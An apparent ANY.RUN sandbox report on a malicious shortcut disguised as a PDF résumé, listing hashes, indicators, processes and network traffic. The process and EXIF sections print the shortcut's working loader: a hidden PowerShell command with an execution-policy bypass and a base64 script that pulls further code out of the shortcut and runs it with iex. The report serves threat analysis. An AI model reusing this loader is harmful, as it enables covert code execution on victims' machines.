File name:

1.pdf.lnk.vacb

Full analysis: https://app.any.run/tasks/9ae8940d-4b14-4f6e-9fd2-63f17ade8e77
Verdict: Malicious activity
Analysis date: April 30, 2024, 07:15:51
OS: Windows 11 Professional (build: 22000, 64 bit)
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=1, Archive, ctime=Mon Aug 7 15:41:42 2017, mtime=Mon Aug 7 15:41:42 2017, atime=Fri Dec 9 02:34:22 2016, length=443392, window=hide
MD5:

2ED247C3E5ECA4C396CFF8DBAFBD4E41

SHA1:

A54E420545A7F5DAE5BE4C6110A50EFF83C2E0B3

SHA256:

F0FC6645E8B07600D661D413AEBB0F4A9A7B85C4748B9A232B604A0B05FBEC4D

SSDEEP:

384:RtxdeF4ypv2QfUraZR2zdKzVAZCQtAtu3ONG4G:TxdP9zdKO53ONHG

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  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 1140)
      • powershell.exe (PID: 5460)
      • powershell.exe (PID: 5632)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 5460)
      • powershell.exe (PID: 1140)
      • powershell.exe (PID: 5632)

  • SUSPICIOUS

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 5460)
      • powershell.exe (PID: 1140)
      • powershell.exe (PID: 5632)

  • INFO

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 5460)
      • powershell.exe (PID: 1140)
      • powershell.exe (PID: 5632)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 1140)
      • powershell.exe (PID: 5460)
      • powershell.exe (PID: 5632)

    • Manual execution by a user

      • powershell.exe (PID: 1140)
      • powershell.exe (PID: 5632)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 5460)
      • powershell.exe (PID: 1140)
      • powershell.exe (PID: 5632)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 5460)
      • powershell.exe (PID: 1140)
      • powershell.exe (PID: 5632)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 5460)
      • powershell.exe (PID: 1140)
      • powershell.exe (PID: 5632)

    • Creates a byte array (POWERSHELL)

      • powershell.exe (PID: 5460)
      • powershell.exe (PID: 1140)
      • powershell.exe (PID: 5632)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

MachineID: cABvAHcAZQByAHMAaABlAGwAbAAgAC0AbgBvAFAAIAAtAHMAdABhACAALQB3ACAAMQAgAC0AZQBuAGMA
IconFileName: C:\Windows\system32\SHELL32.dll
CommandLineArguments: -win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JHN0UCwkc2lQPTMyMzAsOTY3NjskZj0ncmVzdW1lLnBkZi5sbmsnO2lmKC1ub3QoVGVzdC1QYXRoICRmKSl7JHg9R2V0LUNoaWxkSXRlbSAtUGF0aCAkZW52OnRlbXAgLUZpbHRlciAkZiAtUmVjdXJzZTtbSU8uRGlyZWN0b3J5XTo6U2V0Q3VycmVudERpcmVjdG9yeSgkeC5EaXJlY3RvcnlOYW1lKTt9JGxuaz1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJGYsJ09wZW4nLCdSZWFkJywnUmVhZFdyaXRlJzskYjY0PU5ldy1PYmplY3QgYnl0ZVtdKCRzaVApOyRsbmsuU2Vlaygkc3RQLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRsbmsuUmVhZCgkYjY0LDAsJHNpUCk7JGI2ND1bQ29udmVydF06OkZyb21CYXNlNjRDaGFyQXJyYXkoJGI2NCwwLCRiNjQuTGVuZ3RoKTskc2NCPVtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGI2NCk7aWV4ICRzY0I7')); iex $r;
RelativePath: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
LocalBasePath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
VolumeLabel: -
DriveType: Fixed Disk
TargetFileDOSName: powershell.exe
HotKey: (none)
RunWindow: Normal
IconIndex: 1
TargetFileSize: 443392
ModifyDate: 2016:12:09 02:34:22+00:00
AccessDate: 2017:08:07 15:41:42+00:00
CreateDate: 2017:08:07 15:41:42+00:00
FileAttributes: Archive
Flags: IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
No data.
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Total processes
98
Monitored processes
7
Malicious processes
0
Suspicious processes
3

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs dllhost.exe no specs powershell.exe no specs conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
5460"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JHN0UCwkc2lQPTMyMzAsOTY3NjskZj0ncmVzdW1lLnBkZi5sbmsnO2lmKC1ub3QoVGVzdC1QYXRoICRmKSl7JHg9R2V0LUNoaWxkSXRlbSAtUGF0aCAkZW52OnRlbXAgLUZpbHRlciAkZiAtUmVjdXJzZTtbSU8uRGlyZWN0b3J5XTo6U2V0Q3VycmVudERpcmVjdG9yeSgkeC5EaXJlY3RvcnlOYW1lKTt9JGxuaz1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJGYsJ09wZW4nLCdSZWFkJywnUmVhZFdyaXRlJzskYjY0PU5ldy1PYmplY3QgYnl0ZVtdKCRzaVApOyRsbmsuU2Vlaygkc3RQLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRsbmsuUmVhZCgkYjY0LDAsJHNpUCk7JGI2ND1bQ29udmVydF06OkZyb21CYXNlNjRDaGFyQXJyYXkoJGI2NCwwLCRiNjQuTGVuZ3RoKTskc2NCPVtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGI2NCk7aWV4ICRzY0I7')); iex $r;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5772\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
1140"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JHN0UCwkc2lQPTMyMzAsOTY3NjskZj0ncmVzdW1lLnBkZi5sbmsnO2lmKC1ub3QoVGVzdC1QYXRoICRmKSl7JHg9R2V0LUNoaWxkSXRlbSAtUGF0aCAkZW52OnRlbXAgLUZpbHRlciAkZiAtUmVjdXJzZTtbSU8uRGlyZWN0b3J5XTo6U2V0Q3VycmVudERpcmVjdG9yeSgkeC5EaXJlY3RvcnlOYW1lKTt9JGxuaz1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJGYsJ09wZW4nLCdSZWFkJywnUmVhZFdyaXRlJzskYjY0PU5ldy1PYmplY3QgYnl0ZVtdKCRzaVApOyRsbmsuU2Vlaygkc3RQLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRsbmsuUmVhZCgkYjY0LDAsJHNpUCk7JGI2ND1bQ29udmVydF06OkZyb21CYXNlNjRDaGFyQXJyYXkoJGI2NCwwLCRiNjQuTGVuZ3RoKTskc2NCPVtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGI2NCk7aWV4ICRzY0I7')); iex $r;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
3048\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
3664"C:\Windows\system32\DllHost.exe" /Processid:{B41DB860-64E4-11D2-9906-E49FADC173CA}C:\Windows\System32\dllhost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
COM Surrogate
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\dllhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\bcryptprimitives.dll
5632"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JHN0UCwkc2lQPTMyMzAsOTY3NjskZj0ncmVzdW1lLnBkZi5sbmsnO2lmKC1ub3QoVGVzdC1QYXRoICRmKSl7JHg9R2V0LUNoaWxkSXRlbSAtUGF0aCAkZW52OnRlbXAgLUZpbHRlciAkZiAtUmVjdXJzZTtbSU8uRGlyZWN0b3J5XTo6U2V0Q3VycmVudERpcmVjdG9yeSgkeC5EaXJlY3RvcnlOYW1lKTt9JGxuaz1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJGYsJ09wZW4nLCdSZWFkJywnUmVhZFdyaXRlJzskYjY0PU5ldy1PYmplY3QgYnl0ZVtdKCRzaVApOyRsbmsuU2Vlaygkc3RQLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRsbmsuUmVhZCgkYjY0LDAsJHNpUCk7JGI2ND1bQ29udmVydF06OkZyb21CYXNlNjRDaGFyQXJyYXkoJGI2NCwwLCRiNjQuTGVuZ3RoKTskc2NCPVtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGI2NCk7aWV4ICRzY0I7')); iex $r;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
1664\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
Total events
16 384
Read events
16 384
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
3
Text files
7
Unknown types
3

Dropped files

PID
Process
Filename
Type
5460powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9e087f2861e0e9b3.customDestinations-ms —
MD5:—
SHA256:—
1140powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9e087f2861e0e9b3.customDestinations-ms —
MD5:—
SHA256:—
5632powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9e087f2861e0e9b3.customDestinations-ms —
MD5:—
SHA256:—
5460powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2wuqeqxc.0xr.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5632powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_okitdrx0.riu.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1140powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5jp34k5w.qoi.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1140powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9e087f2861e0e9b3.customDestinations-ms~RFf9d40.TMPbinary
MD5:557A87BCB1BBCB16E2AB3304CD1B0F54
SHA256:24CE2FF534356F97A0207AB178036C0A3B620059104FA0EEEA8C65BD6C4D5403
1140powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_efsoyfgo.d4i.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5460powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:12D13D87B16D6567C7E42C1543A3DB5A
SHA256:D8833B6549D3FA6F13EFFBB7A31F5C16FE45D112E5EEA911064DE987C144DE42
5460powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jzawvxi2.qk3.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
22
DNS requests
13
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1332
svchost.exe
GET
200
2.16.164.99:80
http://www.msftconnecttest.com/connecttest.txt
unknown
—
—
—
3984
svchost.exe
GET
304
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?e14a34555bb7681e
unknown
—
—
—
1088
svchost.exe
POST
302
2.18.97.227:80
http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
unknown
—
—
—
1088
svchost.exe
POST
302
2.18.97.227:80
http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
unknown
—
—
—
2632
smartscreen.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
—
1088
svchost.exe
POST
—
52.142.223.178:80
http://dmd.metaservices.microsoft.com/metadata.svc
unknown
—
—
—
3984
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
—
2632
smartscreen.exe
GET
200
204.79.197.203:80
http://oneocsp.microsoft.com/ocsp/MFQwUjBQME4wTDAJBgUrDgMCGgUABBR2JNtr0JxEvYySpbyBWaqBmealCgQUzhUWO%2BoCo6Zr2tkr%2FeWMUr56UKgCEzMAHfm6MHHBDuDO%2BI8AAAAd%2Bbo%3D
unknown
—
—
—
2632
smartscreen.exe
GET
200
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?7fa2dbfbe17d10c6
unknown
—
—
—
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4552
svchost.exe
239.255.255.250:1900
—
—
—
unknown
2632
smartscreen.exe
20.191.45.158:443
checkappexec.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
2632
smartscreen.exe
199.232.214.172:80
ctldl.windowsupdate.com
FASTLY
US
unknown
2632
smartscreen.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
unknown
1332
svchost.exe
2.21.20.155:80
—
Akamai International B.V.
DE
unknown
2632
smartscreen.exe
204.79.197.203:80
oneocsp.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
1332
svchost.exe
2.16.164.99:80
www.msftconnecttest.com
Akamai International B.V.
NL
unknown
3984
svchost.exe
40.126.32.138:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
unknown
3984
svchost.exe
199.232.214.172:80
ctldl.windowsupdate.com
FASTLY
US
unknown
3984
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
unknown

DNS requests

Domain
IP
Reputation
checkappexec.microsoft.com
  • 20.191.45.158
unknown
ctldl.windowsupdate.com
  • 199.232.214.172
  • 199.232.210.172
unknown
ocsp.digicert.com
  • 192.229.221.95
unknown
oneocsp.microsoft.com
  • 204.79.197.203
unknown
www.msftconnecttest.com
  • 2.16.164.99
  • 2.16.164.42
unknown
login.live.com
  • 40.126.32.138
  • 40.126.32.140
  • 40.126.32.72
  • 40.126.32.68
  • 20.190.160.14
  • 40.126.32.134
  • 40.126.32.133
  • 40.126.32.74
unknown
go.microsoft.com
  • 2.18.97.227
unknown
dmd.metaservices.microsoft.com
  • 138.91.171.81
  • 52.142.223.178
unknown
v10.events.data.microsoft.com
  • 104.208.16.91
unknown
settings-win.data.microsoft.com
  • 20.73.194.208
unknown

Threats

PID
Process
Class
Message
—
—
Misc activity
ET INFO Microsoft Connection Test
No debug info
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1.pdf.lnk.vacb